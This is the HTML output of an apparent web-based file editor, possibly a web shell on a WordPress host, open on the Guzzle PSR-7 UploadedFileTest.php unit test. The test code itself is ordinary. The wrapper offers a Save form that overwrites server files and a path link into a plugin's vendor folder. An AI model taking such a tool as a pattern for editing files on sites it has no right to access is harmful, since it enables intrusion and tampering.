<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: UploadedFileTest.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php

namespace GuzzleHttp\Tests\Psr7;

use GuzzleHttp\Psr7\Stream;
use GuzzleHttp\Psr7\UploadedFile;
use ReflectionProperty;

/**
 * @covers GuzzleHttp\Psr7\UploadedFile
 */
class UploadedFileTest extends BaseTest
{
    private $cleanup;

    /**
     * @before
     */
    public function setUpTest()
    {
        $this-&gt;cleanup = [];
    }

    /**
     * @after
     */
    public function tearDownTest()
    {
        foreach ($this-&gt;cleanup as $file) {
            if (is_scalar($file) &amp;&amp; file_exists($file)) {
                unlink($file);
            }
        }
    }

    public function invalidStreams()
    {
        return [
            'null'         =&gt; [null],
            'true'         =&gt; [true],
            'false'        =&gt; [false],
            'int'          =&gt; [1],
            'float'        =&gt; [1.1],
            'array'        =&gt; [['filename']],
            'object'       =&gt; [(object) ['filename']],
        ];
    }

    /**
     * @dataProvider invalidStreams
     */
    public function testRaisesExceptionOnInvalidStreamOrFile($streamOrFile)
    {
        $this-&gt;expectExceptionGuzzle('InvalidArgumentException');

        new UploadedFile($streamOrFile, 0, UPLOAD_ERR_OK);
    }

    public function invalidSizes()
    {
        return [
            'null'   =&gt; [null],
            'float'  =&gt; [1.1],
            'array'  =&gt; [[1]],
            'object' =&gt; [(object) [1]],
        ];
    }

    /**
     * @dataProvider invalidSizes
     */
    public function testRaisesExceptionOnInvalidSize($size)
    {
        $this-&gt;expectExceptionGuzzle('InvalidArgumentException', 'size');

        new UploadedFile(fopen('php://temp', 'wb+'), $size, UPLOAD_ERR_OK);
    }

    public function invalidErrorStatuses()
    {
        return [
            'null'     =&gt; [null],
            'true'     =&gt; [true],
            'false'    =&gt; [false],
            'float'    =&gt; [1.1],
            'string'   =&gt; ['1'],
            'array'    =&gt; [[1]],
            'object'   =&gt; [(object) [1]],
            'negative' =&gt; [-1],
            'too-big'  =&gt; [9],
        ];
    }

    /**
     * @dataProvider invalidErrorStatuses
     */
    public function testRaisesExceptionOnInvalidErrorStatus($status)
    {
        $this-&gt;expectExceptionGuzzle('InvalidArgumentException', 'status');

        new UploadedFile(fopen('php://temp', 'wb+'), 0, $status);
    }

    public function invalidFilenamesAndMediaTypes()
    {
        return [
            'true'   =&gt; [true],
            'false'  =&gt; [false],
            'int'    =&gt; [1],
            'float'  =&gt; [1.1],
            'array'  =&gt; [['string']],
            'object' =&gt; [(object) ['string']],
        ];
    }

    /**
     * @dataProvider invalidFilenamesAndMediaTypes
     */
    public function testRaisesExceptionOnInvalidClientFilename($filename)
    {
        $this-&gt;expectExceptionGuzzle('InvalidArgumentException', 'filename');

        new UploadedFile(fopen('php://temp', 'wb+'), 0, UPLOAD_ERR_OK, $filename);
    }

    /**
     * @dataProvider invalidFilenamesAndMediaTypes
     */
    public function testRaisesExceptionOnInvalidClientMediaType($mediaType)
    {
        $this-&gt;expectExceptionGuzzle('InvalidArgumentException', 'media type');

        new UploadedFile(fopen('php://temp', 'wb+'), 0, UPLOAD_ERR_OK, 'foobar.baz', $mediaType);
    }

    public function testGetStreamReturnsOriginalStreamObject()
    {
        $stream = new Stream(fopen('php://temp', 'r'));
        $upload = new UploadedFile($stream, 0, UPLOAD_ERR_OK);

        self::assertSame($stream, $upload-&gt;getStream());
    }

    public function testGetStreamReturnsWrappedPhpStream()
    {
        $stream = fopen('php://temp', 'wb+');
        $upload = new UploadedFile($stream, 0, UPLOAD_ERR_OK);
        $uploadStream = $upload-&gt;getStream()-&gt;detach();

        self::assertSame($stream, $uploadStream);
    }

    public function testGetStreamReturnsStreamForFile()
    {
        $this-&gt;cleanup[] = $stream = tempnam(sys_get_temp_dir(), 'stream_file');
        $upload = new UploadedFile($stream, 0, UPLOAD_ERR_OK);
        $uploadStream = $upload-&gt;getStream();
        $r = new ReflectionProperty($uploadStream, 'filename');
        $r-&gt;setAccessible(true);

        self::assertSame($stream, $r-&gt;getValue($uploadStream));
    }

    public function testSuccessful()
    {
        $stream = \GuzzleHttp\Psr7\Utils::streamFor('Foo bar!');
        $upload = new UploadedFile($stream, $stream-&gt;getSize(), UPLOAD_ERR_OK, 'filename.txt', 'text/plain');

        self::assertSame($stream-&gt;getSize(), $upload-&gt;getSize());
        self::assertSame('filename.txt', $upload-&gt;getClientFilename());
        self::assertSame('text/plain', $upload-&gt;getClientMediaType());

        $this-&gt;cleanup[] = $to = tempnam(sys_get_temp_dir(), 'successful');
        $upload-&gt;moveTo($to);
        self::assertFileExists($to);
        self::assertSame($stream-&gt;__toString(), file_get_contents($to));
    }

    public function invalidMovePaths()
    {
        return [
            'null'   =&gt; [null],
            'true'   =&gt; [true],
            'false'  =&gt; [false],
            'int'    =&gt; [1],
            'float'  =&gt; [1.1],
            'empty'  =&gt; [''],
            'array'  =&gt; [['filename']],
            'object' =&gt; [(object) ['filename']],
        ];
    }

    /**
     * @dataProvider invalidMovePaths
     */
    public function testMoveRaisesExceptionForInvalidPath($path)
    {
        $stream = \GuzzleHttp\Psr7\Utils::streamFor('Foo bar!');
        $upload = new UploadedFile($stream, 0, UPLOAD_ERR_OK);

        $this-&gt;cleanup[] = $path;

        $this-&gt;expectExceptionGuzzle('InvalidArgumentException', 'path');
        $upload-&gt;moveTo($path);
    }

    public function testMoveCannotBeCalledMoreThanOnce()
    {
        $stream = \GuzzleHttp\Psr7\Utils::streamFor('Foo bar!');
        $upload = new UploadedFile($stream, 0, UPLOAD_ERR_OK);

        $this-&gt;cleanup[] = $to = tempnam(sys_get_temp_dir(), 'diac');
        $upload-&gt;moveTo($to);
        self::assertFileExists($to);

        $this-&gt;expectExceptionGuzzle('RuntimeException', 'moved');
        $upload-&gt;moveTo($to);
    }

    public function testCannotRetrieveStreamAfterMove()
    {
        $stream = \GuzzleHttp\Psr7\Utils::streamFor('Foo bar!');
        $upload = new UploadedFile($stream, 0, UPLOAD_ERR_OK);

        $this-&gt;cleanup[] = $to = tempnam(sys_get_temp_dir(), 'diac');
        $upload-&gt;moveTo($to);
        self::assertFileExists($to);

        $this-&gt;expectExceptionGuzzle('RuntimeException', 'moved');
        $upload-&gt;getStream();
    }

    public function nonOkErrorStatus()
    {
        return [
            'UPLOAD_ERR_INI_SIZE'   =&gt; [ UPLOAD_ERR_INI_SIZE ],
            'UPLOAD_ERR_FORM_SIZE'  =&gt; [ UPLOAD_ERR_FORM_SIZE ],
            'UPLOAD_ERR_PARTIAL'    =&gt; [ UPLOAD_ERR_PARTIAL ],
            'UPLOAD_ERR_NO_FILE'    =&gt; [ UPLOAD_ERR_NO_FILE ],
            'UPLOAD_ERR_NO_TMP_DIR' =&gt; [ UPLOAD_ERR_NO_TMP_DIR ],
            'UPLOAD_ERR_CANT_WRITE' =&gt; [ UPLOAD_ERR_CANT_WRITE ],
            'UPLOAD_ERR_EXTENSION'  =&gt; [ UPLOAD_ERR_EXTENSION ],
        ];
    }

    /**
     * @dataProvider nonOkErrorStatus
     */
    public function testConstructorDoesNotRaiseExceptionForInvalidStreamWhenErrorStatusPresent($status)
    {
        $uploadedFile = new UploadedFile('not ok', 0, $status);
        self::assertSame($status, $uploadedFile-&gt;getError());
    }

    /**
     * @dataProvider nonOkErrorStatus
     */
    public function testMoveToRaisesExceptionWhenErrorStatusPresent($status)
    {
        $uploadedFile = new UploadedFile('not ok', 0, $status);
        $this-&gt;expectExceptionGuzzle('RuntimeException', 'upload error');
        $uploadedFile-&gt;moveTo(__DIR__ . '/' . sha1(uniqid('', true)));
    }

    /**
     * @dataProvider nonOkErrorStatus
     */
    public function testGetStreamRaisesExceptionWhenErrorStatusPresent($status)
    {
        $uploadedFile = new UploadedFile('not ok', 0, $status);
        $this-&gt;expectExceptionGuzzle('RuntimeException', 'upload error');
        $uploadedFile-&gt;getStream();
    }

    public function testMoveToCreatesStreamIfOnlyAFilenameWasProvided()
    {
        $this-&gt;cleanup[] = $from = tempnam(sys_get_temp_dir(), 'copy_from');
        $this-&gt;cleanup[] = $to = tempnam(sys_get_temp_dir(), 'copy_to');

        copy(__FILE__, $from);

        $uploadedFile = new UploadedFile($from, 100, UPLOAD_ERR_OK, basename($from), 'text/plain');
        $uploadedFile-&gt;moveTo($to);

        self::assertFileEquals(__FILE__, $to);
    }
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250804013034%2Fplugins%2Fw3-total-cache%2Fvendor%2Fguzzlehttp%2Fpsr7%2Ftests'>🔙 Back</a>